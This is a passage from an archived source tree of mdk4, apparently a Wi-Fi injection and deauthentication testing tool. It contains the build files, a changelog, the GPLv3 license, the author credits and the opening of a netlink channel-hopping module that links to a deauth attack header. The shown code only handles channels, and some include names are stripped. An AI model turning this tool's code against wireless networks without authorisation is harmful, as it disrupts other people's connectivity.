mdk4-master/ 0000755 0001750 0001750 00000000000 13525065636 013775 5 ustar samueloph samueloph mdk4-master/Makefile 0000644 0001750 0001750 00000000623 13525065636 015436 0 ustar samueloph samueloph DESTDIR =
PREFIX = /usr/local
SBINDIR = $(PREFIX)/sbin
MANDIR = $(PREFIX)/share/man
SRC = src
all: clean
$(MAKE) -C $(SRC)
install: all
PREFIX=$(DESTDIR)$(PREFIX)
$(MAKE) -C $(SRC) install
install -D -m 0644 man/mdk4.1 $(DESTDIR)$(MANDIR)/man8/mdk4.1
gzip -f $(DESTDIR)$(MANDIR)/man8/mdk4.1
.PHONY : clean
clean:
$(MAKE) -C $(SRC) clean
test:
$(MAKE) -C $(SRC) test
distclean: clean
mdk4-master/CHANGELOG 0000644 0001750 0001750 00000000560 13525065636 015210 0 ustar samueloph samueloph MDK4 Changelog
V1:
*Support two wireless card, one for receiving data, another for injecting data
*Amok mode(option d)
Handle more packet types when sniffing data frames to find targets
Support block the specified ESSID/BSSID/Client MAC in command option
MDK3
v8:
* Updated OSdep
v7: Initial Release of new codebase
* Complete Rewrite
* Tons of new features
mdk4-master/COPYING 0000644 0001750 0001750 00000104513 13525065636 015034 0 ustar samueloph samueloph GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
mdk4-master/AUTHORS 0000644 0001750 0001750 00000000621 13525065636 015044 0 ustar samueloph samueloph MDK4 updated by E7mer
MDK3 written by Pedro Larbig "ASPj" ,
Using the 'osdep' Injection Library from www.aircrack-ng.org
Including several patches and addons from the following contributors:
Antragon, moongray, Ace, Zero_Chaos, Hirte, thefkboss, ducttape,
telek0miker, Le_Vert, sorbo, Andy Green, bahathir, Dawid Gajownik
and Alexander Oberle
THANK YOU!
mdk4-master/src/ 0000755 0001750 0001750 00000000000 13525065636 014564 5 ustar samueloph samueloph mdk4-master/src/channelhopper.c 0000644 0001750 0001750 00000032044 13525065636 017561 0 ustar samueloph samueloph #include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __linux__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#else
#warning NOT COMPILING FOR LINUX
#endif
#include "osdep.h"
#include "./attacks/deauth.h"
#define MAX_CHAN_COUNT 128
struct channel{
int chan;
int hop;
};
int lpos_x = 0;
volatile struct channel chans [MAX_CHAN_COUNT] = { {1, 1}, {7, 1}, {13, 1}, {2, 1}, {8, 1}, {3, 1}, {14, 1}, {9, 1}, {4, 1}, {10, 1}, {5, 1}, {11, 1}, {6, 1}, {12, 1}, {0, 0} };
int lpos_in = 0;
int lpos_out = 0;
int chans_in [MAX_CHAN_COUNT] = {0};
int chans_out [MAX_CHAN_COUNT] = {0};
pthread_t *hopper = NULL;
pthread_t chan_sniffer = NULL;
int hopper_useconds = 0;
volatile int sniff = 0;
pthread_mutex_t chan_thread_mutex;
extern char *osdep_iface_in;
extern char *osdep_iface_out;
extern void *global_cur_options;
extern struct attacks *global_cur_attack;
// deauth
extern struct ether_addr mac_block;
extern unsigned char essid_block[33];
extern unsigned char essid_len;
/***********************************nl80211******************************************/
struct nl80211_state {
struct nl_sock *nl_sock;
int nl80211_id;
};
enum command_identify_by {
CIB_NONE,
CIB_PHY,
CIB_NETDEV,
CIB_WDEV,
};
enum id_input {
II_NONE,
II_NETDEV,
II_PHY_NAME,
II_PHY_IDX,
II_WDEV,
};
struct channels_ctx {
int last_band;
bool width_40;
bool width_80;
bool width_160;
};
#define BIT(x) (1ULL<<(x))
/* libnl 1.x compatibility code */
#if !defined(CONFIG_LIBNL20) && !defined(CONFIG_LIBNL30)
static inline struct nl_handle *nl_socket_alloc(void)
{
return nl_handle_alloc();
}
static inline void nl_socket_free(struct nl_sock *h)
{
nl_handle_destroy(h);
}
static inline int nl_socket_set_buffer_size(struct nl_sock *sk,
int rxbuf, int txbuf)
{
return nl_set_buffer_size(sk, rxbuf, txbuf);
}
#endif /* CONFIG_LIBNL20 && CONFIG_LIBNL30 */
static int nl80211_init(struct nl80211_state *state)
{
int err;
state->nl_sock = nl_socket_alloc();
if (!state->nl_sock) {
fprintf(stderr, "Failed to allocate netlink socket.\n");
return -ENOMEM;
}
if (genl_connect(state->nl_sock)) {
fprintf(stderr, "Failed to connect to generic netlink.\n");
err = -ENOLINK;
goto out_handle_destroy;
}
nl_socket_set_buffer_size(state->nl_sock, 8192, 8192);
state->nl80211_id = genl_ctrl_resolve(state->nl_sock, "nl80211");
if (state->nl80211_id < 0) {
fprintf(stderr, "nl80211 not found.\n");
err = -ENOENT;
goto out_handle_destroy;
}
return 0;
out_handle_destroy:
nl_socket_free(state->nl_sock);
return err;
}
static void nl80211_cleanup(struct nl80211_state *state)
{
nl_socket_free(state->nl_sock);
}
static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err,
void *arg)
{
int *ret = arg;
*ret = err->error;
return NL_STOP;
}
static int finish_handler(struct nl_msg *msg, void *arg)
{
int *ret = arg;
*ret = 0;
return NL_SKIP;
}
static int ack_handler(struct nl_msg *msg, void *arg)
{
int *ret = arg;
*ret = 0;
return NL_STOP;
}
static int (*registered_handler)(struct nl_msg *, void *);
static void *registered_handler_data;
void register_handler(int (*handler)(struct nl_msg *, void *), void *data)
{
registered_handler = handler;
registered_handler_data = data;
}
int valid_handler(struct nl_msg *msg, void *arg)
{
if (registered_handler)
return registered_handler(msg, registered_handler_data);
return NL_OK;
}
int ieee80211_channel_to_frequency(int chan, enum nl80211_band band)
{
/* see 802.11 17.3.8.3.2 and Annex J
* there are overlapping channel numbers in 5GHz and 2GHz bands */
if (chan <= 0)
return 0; /* not supported */
switch (band) {
case NL80211_BAND_2GHZ:
if (chan == 14)
return 2484;
else if (chan < 14)
return 2407 + chan * 5;
break;
case NL80211_BAND_5GHZ:
if (chan >= 182 && chan <= 196)
return 4000 + chan * 5;
else
return 5000 + chan * 5;
break;
case NL80211_BAND_60GHZ:
if (chan < 5)
return 56160 + chan * 2160;
break;
default:
;
}
return 0; /* not supported */
}
int ieee80211_frequency_to_channel(int freq)
{
/* see 802.11-2007 17.3.8.3.2 and Annex J */
if (freq == 2484)
return 14;
else if (freq < 2484)
return (freq - 2407) / 5;
else if (freq >= 4910 && freq <= 4980)
return (freq - 4000) / 5;
else if (freq <= 45000) /* DMG band lower limit */
return (freq - 5000) / 5;
else if (freq >= 58320 && freq <= 64800)
return (freq - 56160) / 2160;
else
return 0;
}
static char *dfs_state_name(enum nl80211_dfs_state state)
{
switch (state) {
case NL80211_DFS_USABLE:
return "usable";
case NL80211_DFS_AVAILABLE:
return "available";
case NL80211_DFS_UNAVAILABLE:
return "unavailable";
default:
return "unknown";
}
}
static int print_channels_handler(struct nl_msg *msg, void *arg)
{
struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg));
struct channels_ctx *ctx = arg;
struct nlattr *tb_msg[NL80211_ATTR_MAX + 1];
struct nlattr *tb_band[NL80211_BAND_ATTR_MAX + 1];
struct nlattr *tb_freq[NL80211_FREQUENCY_ATTR_MAX + 1];
struct nlattr *nl_band;
struct nlattr *nl_freq;
int rem_band, rem_freq;
nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), genlmsg_attrlen(gnlh, 0), NULL);
if (tb_msg[NL80211_ATTR_WIPHY_BANDS]) {
nla_for_each_nested(nl_band, tb_msg[NL80211_ATTR_WIPHY_BANDS], rem_band) {
if (ctx->last_band != nl_band->nla_type) {
ctx->width_40 = false;
ctx->width_80 = false;
ctx->width_160 = false;
ctx->last_band = nl_band->nla_type;
}
nla_parse(tb_band, NL80211_BAND_ATTR_MAX, nla_data(nl_band), nla_len(nl_band), NULL);
if (tb_band[NL80211_BAND_ATTR_HT_CAPA]) {
__u16 cap = nla_get_u16(tb_band[NL80211_BAND_ATTR_HT_CAPA]);
if (cap & BIT(1))
ctx->width_40 = true;
}
if (tb_band[NL80211_BAND_ATTR_VHT_CAPA]) {
__u32 capa;
ctx->width_80 = true;
capa = nla_get_u32(tb_band[NL80211_BAND_ATTR_VHT_CAPA]);
switch ((capa >> 2) & 3) {
case 2:
/* width_80p80 = true; */
/* fall through */
case 1:
ctx->width_160 = true;
break;
}
}
if (tb_band[NL80211_BAND_ATTR_FREQS]) {
nla_for_each_nested(nl_freq, tb_band[NL80211_BAND_ATTR_FREQS], rem_freq) {
uint32_t freq;
nla_parse(tb_freq, NL80211_FREQUENCY_ATTR_MAX, nla_data(nl_freq), nla_len(nl_freq), NULL);
if (!tb_freq[NL80211_FREQUENCY_ATTR_FREQ])
continue;
freq = nla_get_u32(tb_freq[NL80211_FREQUENCY_ATTR_FREQ]);
chans[lpos_x].chan = ieee80211_frequency_to_channel(freq);
chans[lpos_x].hop = 0;
lpos_x++;
if (tb_freq[NL80211_FREQUENCY_ATTR_DISABLED]) {
continue;
}
}
}
}
}
return NL_SKIP;
}
static int handle_channels(struct nl80211_state *state, struct nl_msg *msg)
{
static struct channels_ctx ctx = {
.last_band = -1,
};
nla_put_flag(msg, NL80211_ATTR_SPLIT_WIPHY_DUMP);
